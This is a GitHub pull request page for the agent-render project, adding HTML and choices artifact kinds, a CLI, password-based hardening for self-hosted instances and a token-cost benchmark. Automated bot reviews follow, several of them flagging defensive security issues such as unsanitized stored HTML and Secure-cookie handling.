Coding-agent surfaces: kit HTML and choices kinds, CLI, self-hosted hardening, token bench - #108
Coding-agent surfaces: kit HTML and choices kinds, CLI, self-hosted hardening, token bench#108baanish wants to merge 32 commits into
Conversation
Coding-agent surfaces need richer structure than markdown, but agent- invented styling is wasted tokens and a phishing surface. Two new kinds: - html: agent markup rendered against a design kit that ships in the viewer (ar-* components plus a pinned Tailwind utility subset, see docs/design-kit.md). Fragment payloads are mintable by anyone, so they render sanitized: no scripts, event handlers, inline styles, form controls, or foreign content; tabs and disclosure are viewer-owned JS. Server-injected payloads on self-hosted instances render verbatim at the operator's documented risk. - choices: a presentational decision list with stable option ids the reader answers with in chat. No response channel by design. The arx2/3/4 tuple wire format is pinned, so envelopes with new kinds drop those codecs from the candidate pool and ride arx/deflate/lz/plain. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
An internet-reachable instance previously had no auth at all: anyone could create, overwrite, delete, or read artifacts, and the 24h sliding TTL was too short for mobile review workflows. - Default sliding TTL is now 7 days; AGENT_RENDER_TTL_HOURS overrides it and invalid values fail fast at startup. - Setting AGENT_RENDER_PASSWORD enables a fallback gate: writes and artifact API reads need Bearer <password> or the auth cookie; browser pages get a minimal password form that sets an HMAC cookie once per device. Unset keeps today's open behavior. - BYO reverse-proxy auth stays the documented primary path. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Coding agents previously had no programmatic interface: they either hand-rolled codec recipes from the 380-line skill (token-expensive, and arx4 is not hand-rollable) or curled the REST API by hand. The payload also had to pass through the agent's context to become a link. agent-render create [files...] reads content from files or stdin, builds a payload envelope, and either POSTs to a configured self-hosted instance (UUID URL out) or encodes a fragment locally with the full codec ladder including arx4. Config precedence is flags, then AGENT_RENDER_INSTANCE_URL/AGENT_RENDER_TOKEN, then the XDG config file. Output formats cover url, markdown, discord (with the 2000-char warning), slack, plain, and --json. The bundle embeds the arx dictionaries and priors so offline Node execution selects arx4; published output has no repo-internal paths. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The codec ladder optimizes visible char length for chat-message limits, but when a fragment URL sits in an LLM's context the cost is tokens, and BMP-dense strings tokenize far worse than base64. scripts/bench-tokens.mjs reports visible chars, percent-escaped transport chars, and o200k_base tokens per codec and wire encoding across the bench corpus. Finding (TOKEN_BENCH_REPORT.md): baseBMP costs 31% more tokens than base64url on average across matched arx3/arx4 pairs (worst case 38%); arx4/base64url is token-optimal for nearly every sample kind. Follow-up candidate: a token-optimizing selection mode in the encoder and CLI. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
… into docs
The cli lane was built before the viewer kinds landed, so it capped
--kind at the original five. Explicit --kind html shares kit markup
(.html files still auto-detect as code source view so arbitrary HTML is
never silently reinterpreted) and --kind choices reads a JSON document
shaped {prompt?, multi?, options}. The token bench report moves under
docs/ and the lockfile picks up the cli workspace.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The cli workspace has its own tsconfig, but the root tsc globbed cli/** and compiled its tests under Next's augmented ProcessEnv, failing on env literals the cli's own stricter-scoped tsconfig accepts. Root tsc now excludes cli and the root typecheck delegates to the cli workspace tsc, so both are covered without cross-contaminating lib/types. config.ts env params use a narrow EnvLookup record instead of NodeJS.ProcessEnv. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
|
Review the following changes in direct dependencies. Learn more about Socket for GitHub.
|
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
📝 WalkthroughWalkthroughThe change adds Kit HTML artifacts with sanitization and rendering, a Node.js CLI for fragment and instance artifact creation, self-hosted password authentication with rate limiting, configurable artifact TTL defaulting to seven days, and codec benchmarking with token-count analysis. ChangesHTML artifact platform
CLI tooling
Self-hosted authentication and TTL
Codec benchmarking
Estimated code review effort: 5 (Critical) | ~110 minutes Possibly related PRs
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✨ Finishing Touches 💡 1📝 Generate docstrings 💡
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![github-advanced-security[bot]](https://avatars.githubusercontent.com/in/57789?s=60&v=4){kind=small}
Deploying agent-render with
|
| Latest commit: |
321ee50
|
| Status: | ✅ Deploy successful! |
| Preview URL: | https://00aefbe7.agent-render.pages.dev |
| Branch Preview URL: | https://coding-agent-optimization.agent-render.pages.dev |
|
| Filename | Overview |
|---|---|
| selfhosted/server.ts | Password authentication now conditionally marks cookies Secure based on the trusted request scheme, resolving direct HTTP login loops while retaining proxy-aware HTTPS behavior. |
| README.md | Self-hosted retention documentation now consistently describes the configurable seven-day default. |
| cli/src/cli.ts | Adds CLI argument handling, input loading, mode selection, payload creation, and output formatting. |
| src/lib/html/sanitize-kit-html.ts | Adds sanitization for untrusted fragment-supplied kit HTML. |
| src/lib/payload/schema.ts | Extends the payload contract with the new artifact kinds. |
Reviews (17): Last reviewed commit: "bind every layer's token to the endpoint..." | Re-trigger Greptile
![greptile-apps[bot]](https://avatars.githubusercontent.com/in/867647?s=60&v=4){kind=small}
Two review findings on the password gate: - CodeQL flagged the shared password being fed straight into HMAC. It now passes through scrypt once at startup; per-request cookie checks use the derived key and bearer checks re-derive via scrypt, so online guessing on the write endpoint is rate-limited and a leaked cookie can't be brute-forced back to the password. - Greptile (P1): /auth issued an unconditional Secure cookie, which browsers drop over plain HTTP, looping every gated page back to the sign-in form on direct-HTTP (Tailscale/LAN) deployments. Secure is now set only when the request arrived over TLS (X-Forwarded-Proto or a direct TLS socket). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
![chatgpt-codex-connector[bot]](https://avatars.githubusercontent.com/in/1144995?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 6700f05dd9
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| className="kit-html-frame" | ||
| data-testid="renderer-html-trusted" | ||
| data-renderer-ready="true" | ||
| srcDoc={artifact.content} |
There was a problem hiding this comment.
On a self-hosted server without AGENT_RENDER_PASSWORD, anyone can create a stored payload, and every UUID payload is then marked trusted; an html artifact consequently reaches this unsandboxed, same-origin srcDoc without sanitization. Attacker-authored forms, navigation, and other active markup therefore render with the viewer origin rather than being treated as untrusted input. Sanitize stored HTML too, or render it in an opaque-origin sandbox that does not grant scripts or same-origin access.
AGENTS.md reference: AGENTS.md:L72-L78
Useful? React with 👍 / 👎.
| // The creator form authors one content string per artifact, so `choices` stays out of the picker; | ||
| // see LinkCreatorKind. | ||
| const creatorKinds = artifactKinds.filter( | ||
| (kind): kind is LinkCreatorKind => kind !== "choices", |
There was a problem hiding this comment.
When the newly added html kind is selected, the creator still presents arx2, arx3, and arx4 as valid compression choices. tupleCodecsSupportEnvelope deliberately returns false for HTML, so an explicit selection produces an empty candidate pool and “No payload codec candidates are available” instead of a link. Filter or disable these codecs for HTML, or fall back to a supported codec.
Useful? React with 👍 / 👎.
| if (authPassword === undefined || constantTimeEqual(suppliedPassword, authPassword)) { | ||
| res.setHeader( | ||
| "Set-Cookie", | ||
| `${authCookieName}=${expectedAuthCookie()}; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=31536000`, |
There was a problem hiding this comment.
When AGENT_RENDER_PASSWORD is used over a plain-HTTP LAN address such as http://192.168.x.x:3000, browsers reject this always-Secure cookie, so the login form redirects back to another 401 indefinitely. The documented local fallback should either support a configurable non-Secure cookie for explicitly non-TLS deployments or clearly require HTTPS; localhost is a browser exception, but ordinary LAN hostnames and addresses are not.
Useful? React with 👍 / 👎.
|
|
||
| if (mode === "instance") { | ||
| if (!config.instanceUrl) throw new Error("Instance mode requires INSTANCE_URL configuration."); | ||
| url = await createInstanceArtifact(envelope, config.instanceUrl, config.token); |
There was a problem hiding this comment.
Instance mode sends the encoded envelope without checking the decoded JSON budget. A highly compressible input over 200,000 characters can therefore be accepted by the server's 500,000-character encoded-payload limit and return a UUID successfully, but decodeFragmentAsync(..., { skipFragmentBudget: true }) still enforces the decoded limit, so the resulting viewer link only displays decoded-too-large. Validate the serialized envelope against the decoded budget before POSTing.
AGENTS.md reference: AGENTS.md:L91-L92
Useful? React with 👍 / 👎.
| --- | ||
| name: selfhosted-agent-render | ||
| description: Create and manage agent-render artifacts via a self-hosted UUID-based server. Use when an agent needs public/share-friendly rendered artifacts through short UUID links instead of fragment-encoded URLs. Ideal for public/social sharing, corporate proxy/link-scanning environments, payloads that exceed the ~8 KB fragment budget, platforms that mangle long URLs, or when the agent and viewer run on the same machine. Supports markdown, code, diffs, CSV, and JSON — same artifact kinds as the fragment-based product (the server stores the payload string after a length/non-empty check; full envelope validation happens client-side when the viewer renders). The self-hosted server stores payloads in SQLite with a 24-hour sliding TTL. | ||
| description: Create and manage agent-render artifacts via a self-hosted UUID-based server. Use when an agent needs public/share-friendly rendered artifacts through short UUID links instead of fragment-encoded URLs. Ideal for public/social sharing, corporate proxy/link-scanning environments, payloads that exceed the ~8 KB fragment budget, platforms that mangle long URLs, or when the agent and viewer run on the same machine. Supports markdown, code, diffs, CSV, and JSON — same artifact kinds as the fragment-based product (the server stores the payload string after a length/non-empty check; full envelope validation happens client-side when the viewer renders). The self-hosted server stores payloads in SQLite with a configurable sliding TTL that defaults to seven days. |
There was a problem hiding this comment.
This updated self-hosted skill still says it supports only markdown, code, diffs, CSV, and JSON even though the shared viewer now accepts html and choices; the README renderer/status lists and AGENTS.md product contract retain the same stale five-kind declaration. Agents using this skill will incorrectly avoid the two newly supported artifact kinds, so align these contracts with the schema change.
AGENTS.md reference: AGENTS.md:L104-L104
Useful? React with 👍 / 👎.
| "workspaces": [ | ||
| "cli" | ||
| ], |
There was a problem hiding this comment.
Adding cli as a workspace does not make the root vitest run execute cli/tests: the root Vitest config includes only tests/**/*.test.*, and neither test:ci nor check invokes the CLI workspace's test or build scripts. Consequently all new CLI tests and the esbuild packaging step are skipped by the documented validation pipeline; add explicit workspace test/build commands.
AGENTS.md reference: AGENTS.md:L185-L193
Useful? React with 👍 / 👎.
| is configured, write operations accept it as a bearer token (or via the server-issued browser cookie) | ||
| and return 401 for missing or invalid credentials. Artifact API reads require the same |
There was a problem hiding this comment.
The updated description says artifact reads require credentials, but the GET /api/artifacts/{id} operation still has neither security: bearerAuth nor a 401 response, unlike the protected write operations. With AGENT_RENDER_PASSWORD enabled, clients generated from this document will omit the bearer token and consistently receive 401 from the new global API gate; align the GET operation with the implemented authentication contract.
AGENTS.md reference: AGENTS.md:L211-L212
Useful? React with 👍 / 👎.
| className="kit-html-frame" | ||
| data-testid="renderer-html-trusted" | ||
| data-renderer-ready="true" | ||
| srcDoc={artifact.content} |
There was a problem hiding this comment.
In self-hosted UUID mode, kit HTML is moved into a separate srcDoc document, but that document does not inherit the parent page's kit.css or Tailwind utilities and it is not given the .kit-html wrapper. Payloads authored according to the design-kit instructions deliberately contain no styles, so the same ar-card, ar-grid, and utility markup that renders correctly from a fragment becomes unstyled plain HTML from a UUID link. Inject the kit stylesheet and wrapper into the frame, or render sanitized kit markup inline.
Useful? React with 👍 / 👎.
| if (trimmed.startsWith("#")) { | ||
| return true; |
There was a problem hiding this comment.
The sanitizer preserves href="#...", but the viewer reserves the entire hash for its encoded payload and reacts to every hashchange; it also strips all target id attributes, so these links cannot work as local anchors. Clicking an otherwise allowed anchor therefore replaces the artifact hash with values such as #details and switches the viewer to an invalid-payload error. Remove or intercept fragment-only links, or implement scoped in-artifact navigation without mutating the transport hash.
AGENTS.md reference: AGENTS.md:L83-L87
Useful? React with 👍 / 👎.
| if (artifact.kind === "choices") { | ||
| const lines = artifact.options.map( | ||
| (option) => `${option.id}) ${option.label}${option.detail ? `: ${option.detail}` : ""}`, | ||
| ); | ||
| return artifact.prompt ? `${artifact.prompt}\n\n${lines.join("\n")}` : lines.join("\n"); |
There was a problem hiding this comment.
For a choices artifact created by the CLI from choices.json, this new branch turns the structured document into human-readable lines such as a) Label, while the download path still honors the original .json filename. The downloaded file is therefore named JSON but is not parseable JSON and also loses fields such as multi; serialize the choices document for downloads or change the generated filename to a text extension.
Useful? React with 👍 / 👎.
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 6
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (2)
public/openapi/selfhosted-artifacts.yaml (1)
66-81: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win
GET /api/artifacts/{id}is missingsecurityand a401response.
POST /api/artifacts,PUT /api/artifacts/{id},DELETE /api/artifacts/{id}, andPOST /api/cleanupall gainedsecurity: [bearerAuth: []]and a401response in this diff, but theget:operation for/api/artifacts/{id}got neither. The top-levelinfo.description(lines 9-10) and bothdocs/deployment.mdand theselfhosted-agent-renderskill state that reads require the same credentials as writes, andselfhosted/server.tsgates/api/*uniformly regardless of method. A client or SDK generated from this spec alone would not know to sendAuthorizationonGETand would hit an undocumented401.📝 Proposed fix
get: summary: Get artifact (refreshes TTL) operationId: getArtifact + security: + - bearerAuth: [] responses: "200": description: Artifact row content: application/json: schema: $ref: "`#/components/schemas/ArtifactRow`" "404": description: Not found or expired content: application/json: schema: $ref: "`#/components/schemas/Error`" + "401": + description: Missing or invalid credentials when built-in password auth is enabled + content: + application/json: + schema: + $ref: "`#/components/schemas/Error`"🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@public/openapi/selfhosted-artifacts.yaml` around lines 66 - 81, Update the GET operation identified by operationId getArtifact to declare the same bearerAuth security requirement as the other artifact operations, and add a 401 Unauthorized response using the existing Error schema. Preserve its current 200 and 404 responses.selfhosted/server.ts (1)
264-313: 📐 Maintainability & Code Quality | 🟠 Major | ⚡ Quick winDeduplicate
staticHtmlPathfromserveStatic's path resolution.
staticHtmlPath(lines 400-419) reimplements the same normalization, traversal guard, and directory→index.htmlfallback already inserveStatic(lines 264-313), using synchronousstatSync/existsSyncinstead of the async callsserveStaticuses. Since the auth gate now depends onstaticHtmlPathresolving to the same fileserveStaticwill serve, any future change to one implementation that is not mirrored in the other risks either bypassing the login requirement or blocking a file that should stay public.statSyncalso blocks the event loop on every qualifying GET request, whereserveStaticalready avoids that withstat.Extract the shared resolution logic into a single async helper both
serveStaticand the auth check can call.♻️ Sketch of a shared resolver
-async function serveStatic(res: ServerResponse, urlPath: string, method: string): Promise<void> { - const normalizedPath = urlPath === "/" ? "/index.html" : urlPath; - let filePath = path.resolve(path.join(outputDirectory, normalizedPath)); - if (!filePath.startsWith(outputDirectoryWithSeparator) && filePath !== outputDirectory) { - res.writeHead(403); - res.end("Forbidden"); - return; - } - try { - const details = await stat(filePath); - if (details.isDirectory()) { - filePath = path.join(filePath, "index.html"); - } - } catch { - if (!path.extname(filePath)) { - filePath = path.join(filePath, "index.html"); - } - } +async function resolveOutputPath(urlPath: string): Promise<string | null> { + const normalizedPath = urlPath === "/" ? "/index.html" : urlPath; + let filePath = path.resolve(path.join(outputDirectory, normalizedPath)); + if (!filePath.startsWith(outputDirectoryWithSeparator) && filePath !== outputDirectory) { + return null; + } + try { + const details = await stat(filePath); + if (details.isDirectory()) filePath = path.join(filePath, "index.html"); + } catch { + if (!path.extname(filePath)) filePath = path.join(filePath, "index.html"); + } + return filePath; +} + +async function serveStatic(res: ServerResponse, urlPath: string, method: string): Promise<void> { + const filePath = await resolveOutputPath(urlPath); + if (!filePath) { + res.writeHead(403); + res.end("Forbidden"); + return; + }
staticHtmlPaththen becomesasyncand callsresolveOutputPathtoo, with the caller awaited before the browser-auth check.Also applies to: 400-419
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@selfhosted/server.ts` around lines 264 - 313, Extract the shared normalization, traversal validation, directory fallback, and existence handling from serveStatic into an async resolveOutputPath helper. Update serveStatic and staticHtmlPath to await this helper, remove staticHtmlPath’s synchronous statSync/existsSync resolution, and ensure the authentication check uses the exact resolved path that serveStatic will serve.
🧹 Nitpick comments (8)
scripts/bench-tokens.mjs (1)
266-352: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick winConsider adding
htmlandchoicesfixtures to the benchmark corpus.This PR introduces the
htmlandchoicespayload kinds, butcorpusonly coversmarkdown,code,diff,csv,json, and thebundlecomposite. The token benchmark and its generated report therefore give no visibility into token cost for the two kinds shipped in this same PR.If
htmlandchoicesartifacts carry a simple textualcontent/htmlfield compatible withtextEnvelope, add representative fixtures for them so the report stays comprehensive across all supported kinds.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@scripts/bench-tokens.mjs` around lines 266 - 352, Add representative html and choices entries to the corpus array alongside the existing kind fixtures, using the appropriate textual fields and textEnvelope-compatible structure. Ensure both newly introduced payload kinds are included in the token benchmark and generated report without altering the existing fixtures.cli/tests/kind.test.ts (1)
5-20: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick winAdd coverage for
html/choiceskind detection and overrides.The parametrized cases cover markdown/diff/csv/json/code/extensionless detection, but none exercise the new
html/choiceskinds this PR introduces. In particular,cli/src/cli.tsdocuments that.htmlfiles auto-detect as"code"and require an explicit--kind htmloverride; that specific rule isn't verified here, nor is--kind choices.it("treats .html as code unless --kind html is explicit", () => { expect(detectArtifactKind("page.html")).toEqual({ kind: "code", language: "html" }); expect(detectArtifactKind("page.html", "html")).toEqual({ kind: "html" }); }); it("honors an explicit choices kind", () => { expect(detectArtifactKind("options.json", "choices")).toEqual({ kind: "choices" }); });🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@cli/tests/kind.test.ts` around lines 5 - 20, Add tests in the kind detection suite for the new html and choices overrides: verify detectArtifactKind("page.html") returns code with html language, an explicit html kind returns html, and an explicit choices kind overrides a supported filename such as options.json.cli/src/cli.ts (1)
22-22: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick winSecrets passed via
--tokenand echoed byconfig getare exposed to shell history and logs.
--token(Line 22, 69) is read as a plain CLI argument, andrunConfig'sgetbranch (Line 143-148) writes a stored value straight to stdout. Both paths can leak a token into shell history,psoutput, or CI logs.Consider accepting the token from an environment variable (for example
AGENT_RENDER_TOKEN) as a fallback, and mask or warn when printing a value for a key that looks like a secret.Also applies to: 69-69, 133-151
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@cli/src/cli.ts` at line 22, Update the token handling in the CLI option definitions and runConfig get branch to avoid exposing secrets: support AGENT_RENDER_TOKEN as a fallback when --token is omitted, and mask or warn instead of printing stored values for secret-looking keys. Preserve normal output for non-sensitive configuration values.cli/src/instance.ts (1)
34-38: 🩺 Stability & Availability | 🔵 Trivial | ⚡ Quick winAdd a timeout to the instance-create request.
fetchhere has no timeout orAbortController. If the self-hosted instance is slow or unreachable, the CLI hangs indefinitely.♻️ Proposed fix to add a request timeout
+ const controller = new AbortController(); + const timeout = setTimeout(() => controller.abort(), 15000); + let response: Response; + try { + response = await fetch(instanceUrl(baseUrl, "api/artifacts"), { + method: "POST", + headers, + body: JSON.stringify({ payload: encoded.fragmentBody }), + signal: controller.signal, + }); + } finally { + clearTimeout(timeout); + } - const response = await fetch(instanceUrl(baseUrl, "api/artifacts"), { - method: "POST", - headers, - body: JSON.stringify({ payload: encoded.fragmentBody }), - });🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@cli/src/instance.ts` around lines 34 - 38, Update the instance-create request in the fetch call targeting “api/artifacts” to use an AbortController-based timeout, aborting the request after the established CLI request-timeout duration. Ensure the controller’s signal is passed to fetch and that the timeout is cleaned up after the request completes.src/lib/payload/schema.ts (1)
251-264: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick winAdd documentation blocks for the changed public APIs.
These behavior changes occur in exported functions without preceding
/** ... */documentation blocks.
src/lib/payload/schema.ts#L251-L264: DocumentisPayloadEnvelope, including its structural validation of choices artifacts.src/lib/payload/arx4-codec.ts#L714-L717: Documentarx4PriorIdForEnvelope, including its fallback behavior.src/lib/payload/fragment-arx.ts#L349-L349: DocumentbuildArx3Candidates, including tuple-codec exclusion for unsupported artifact kinds.src/lib/payload/fragment-arx.ts#L368-L368: DocumentbuildArx4Candidates, including tuple-codec exclusion for unsupported artifact kinds.As per coding guidelines, “Add a preceding
/** ... */documentation block for public exported functions/components insrc/lib/**andsrc/components/**.”🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/lib/payload/schema.ts` around lines 251 - 264, Add preceding /** ... */ documentation blocks for the exported functions isPayloadEnvelope in src/lib/payload/schema.ts (lines 251-264), arx4PriorIdForEnvelope in src/lib/payload/arx4-codec.ts (lines 714-717), buildArx3Candidates in src/lib/payload/fragment-arx.ts (line 349), and buildArx4Candidates in src/lib/payload/fragment-arx.ts (line 368). Document isPayloadEnvelope’s structural validation of choices artifacts, arx4PriorIdForEnvelope’s fallback behavior, and each candidate builder’s exclusion of the tuple codec for unsupported artifact kinds.Source: Coding guidelines
docs/architecture.md (1)
24-30: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick winRenderer lists are stale after adding
htmlandchoices. Both files updated a summary sentence to mention the two new kinds but left an adjacent itemized list unchanged, so the docs now contradict themselves.
docs/architecture.md#L24-L30: Line 30 claims "all seven artifact kinds," but the "Renderer implementation" bullet list at Lines 24-29 still lists only five. Addhtmlandchoicesbullets.README.md#L10-L10: this line already mentions "kit HTML dashboards" and "choice lists"; keep it as the source of truth for the other two sites.README.md#L37-L44: the "Included Renderers" list still enumerates only five kinds. Addhtmlandchoicesbullets, and update the "Status" bullet at Line 31 the same way.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@docs/architecture.md` around lines 24 - 30, Update the renderer documentation lists to include both html and choices wherever the seven artifact kinds are enumerated. In docs/architecture.md lines 24-30, add bullets for html and choices; in README.md lines 37-44, add the same bullets and update the Status bullet at line 31 accordingly. Leave README.md line 10 unchanged because it already serves as the source of truth.src/components/renderers/html-renderer.tsx (1)
77-122: 🎯 Functional Correctness | 🔵 Trivial | ⚡ Quick winWire ARIA relationships and keyboard navigation for the tabs widget.
initKitTabssetsrole="tab"and togglesaria-selected/hidden, but panels never getrole="tabpanel", and buttons never getaria-controlspointing at their panel. Add generated ids so each button'saria-controlsreferences its panel, and give each panelrole="tabpanel"plusaria-labelledbypointing back at its button. Also addArrowLeft/ArrowRighthandling in the click listener block so keyboard users can switch tabs per the WAI-ARIA Tabs pattern, not just activate the currently focused button.♿ Proposed fix to associate tabs with panels
const buttons = panels.map((panel, index) => { const button = document.createElement("button"); button.type = "button"; button.className = "ar-tab-button"; button.setAttribute("role", "tab"); button.textContent = panel.getAttribute("data-ar-tab") ?? `Tab ${index + 1}`; + const panelId = `ar-tab-panel-${crypto.randomUUID()}`; + panel.id = panelId; + button.id = `ar-tab-button-${panelId}`; + button.setAttribute("aria-controls", panelId); + panel.setAttribute("role", "tabpanel"); + panel.setAttribute("aria-labelledby", button.id); bar.appendChild(button); return button; });🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/components/renderers/html-renderer.tsx` around lines 77 - 122, Update initKitTabs to assign unique ids to each panel and corresponding button, set each panel’s role to tabpanel with aria-labelledby pointing to its button, and set each button’s aria-controls to its panel id. Extend the existing button listener block to handle ArrowLeft and ArrowRight with wrapped index navigation, activating and focusing the selected tab while preserving click activation.src/components/viewer/artifact-stage.tsx (1)
36-37: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick winDocument the changed public component contracts.
Add a preceding
/** ... */documentation block before each public component export. Describe the component contract and its security-relevant behavior.
src/components/viewer/artifact-stage.tsx#L36-L37: DocumentArtifactStage, including thetrustedPayloadboundary for HTML artifacts.src/components/viewer-shell.tsx#L200-L203: DocumentViewerShell, including when server-injected payload trust is set and cleared.src/components/home/link-creator.tsx#L16-L18: DocumentLinkCreator, including its client-side fragment generation behavior and unsupportedchoicesauthoring flow.As per coding guidelines, add a preceding
/** ... */documentation block for public exported functions/components insrc/lib/**andsrc/components/**.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/components/viewer/artifact-stage.tsx` around lines 36 - 37, Before the public exports in src/components/viewer/artifact-stage.tsx (lines 36-37), src/components/viewer-shell.tsx (lines 200-203), and src/components/home/link-creator.tsx (lines 16-18), add concise documentation blocks for ArtifactStage, ViewerShell, and LinkCreator respectively; describe ArtifactStage’s trustedPayload boundary for HTML artifacts, ViewerShell’s setting and clearing of server-injected payload trust, and LinkCreator’s client-side fragment generation plus unsupported choices authoring flow.Source: Coding guidelines
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@cli/package.json`:
- Around line 13-27: Align the Node type definitions with the supported runtime
in the package.json engines and devDependencies entries: replace `@types/node`
^26.0.0 with a version matching the Node 20 baseline, unless the project
intentionally raises engines.node to that actual minimum. Keep the resulting
TypeScript API surface consistent with the declared runtime support.
In `@scripts/bench-tokens.mjs`:
- Around line 19-38: Update the esbuild configuration in the build call so the
"brotli-wasm" alias remains the package specifier and external contains
"brotli-wasm" rather than the filesystem path built with join(ROOT, ...). Keep
the bridge’s generated ESM import using the package name across platforms.
In `@selfhosted/server.ts`:
- Line 25: Update the authPassword configuration and startup validation in
selfhosted/server.ts so an empty AGENT_RENDER_PASSWORD is treated as unset or
causes startup to fail, matching the existing invalid-configuration behavior
used for AGENT_RENDER_TTL_HOURS; ensure empty credentials cannot authenticate
through constantTimeEqual.
- Around line 25-27: Update the authentication configuration documentation near
authCookieName to document that POST /auth always sets a Secure cookie: plain
HTTP login requires a trusted loopback origin and is supported only in
Chromium/Firefox, while Safari and non-localhost hosts require HTTPS or TLS
termination.
In `@src/lib/html/sanitize-kit-html.ts`:
- Around line 1-234: Replace the hand-rolled sanitizer centered on
sanitizeKitHtml with an audited DOMPurify configuration preserving the existing
dropped tags, allowed tags, attributes, and URL restrictions; return a sanitized
DocumentFragment rather than serialized HTML. In
src/lib/html/sanitize-kit-html.ts lines 1-234, update sanitizeKitHtml and its
callers accordingly; in src/components/renderers/html-renderer.tsx lines 62-70,
update HtmlRenderer to append/render the fragment through DOM APIs and remove
dangerouslySetInnerHTML usage, ensuring artifact.content never reaches that
prop.
In `@src/lib/payload/schema.ts`:
- Around line 93-110: Update the payload validation and normalization path used
by isPayloadEnvelope to enforce explicit limits for HtmlArtifact.content length,
ChoicesArtifact.options count, and each choice option’s id, label, and detail
lengths. Reject values exceeding those boundaries with a clear normalization
error before renderer mount, while preserving valid payload behavior, and add
boundary tests covering each limit.
---
Outside diff comments:
In `@public/openapi/selfhosted-artifacts.yaml`:
- Around line 66-81: Update the GET operation identified by operationId
getArtifact to declare the same bearerAuth security requirement as the other
artifact operations, and add a 401 Unauthorized response using the existing
Error schema. Preserve its current 200 and 404 responses.
In `@selfhosted/server.ts`:
- Around line 264-313: Extract the shared normalization, traversal validation,
directory fallback, and existence handling from serveStatic into an async
resolveOutputPath helper. Update serveStatic and staticHtmlPath to await this
helper, remove staticHtmlPath’s synchronous statSync/existsSync resolution, and
ensure the authentication check uses the exact resolved path that serveStatic
will serve.
---
Nitpick comments:
In `@cli/src/cli.ts`:
- Line 22: Update the token handling in the CLI option definitions and runConfig
get branch to avoid exposing secrets: support AGENT_RENDER_TOKEN as a fallback
when --token is omitted, and mask or warn instead of printing stored values for
secret-looking keys. Preserve normal output for non-sensitive configuration
values.
In `@cli/src/instance.ts`:
- Around line 34-38: Update the instance-create request in the fetch call
targeting “api/artifacts” to use an AbortController-based timeout, aborting the
request after the established CLI request-timeout duration. Ensure the
controller’s signal is passed to fetch and that the timeout is cleaned up after
the request completes.
In `@cli/tests/kind.test.ts`:
- Around line 5-20: Add tests in the kind detection suite for the new html and
choices overrides: verify detectArtifactKind("page.html") returns code with html
language, an explicit html kind returns html, and an explicit choices kind
overrides a supported filename such as options.json.
In `@docs/architecture.md`:
- Around line 24-30: Update the renderer documentation lists to include both
html and choices wherever the seven artifact kinds are enumerated. In
docs/architecture.md lines 24-30, add bullets for html and choices; in README.md
lines 37-44, add the same bullets and update the Status bullet at line 31
accordingly. Leave README.md line 10 unchanged because it already serves as the
source of truth.
In `@scripts/bench-tokens.mjs`:
- Around line 266-352: Add representative html and choices entries to the corpus
array alongside the existing kind fixtures, using the appropriate textual fields
and textEnvelope-compatible structure. Ensure both newly introduced payload
kinds are included in the token benchmark and generated report without altering
the existing fixtures.
In `@src/components/renderers/html-renderer.tsx`:
- Around line 77-122: Update initKitTabs to assign unique ids to each panel and
corresponding button, set each panel’s role to tabpanel with aria-labelledby
pointing to its button, and set each button’s aria-controls to its panel id.
Extend the existing button listener block to handle ArrowLeft and ArrowRight
with wrapped index navigation, activating and focusing the selected tab while
preserving click activation.
In `@src/components/viewer/artifact-stage.tsx`:
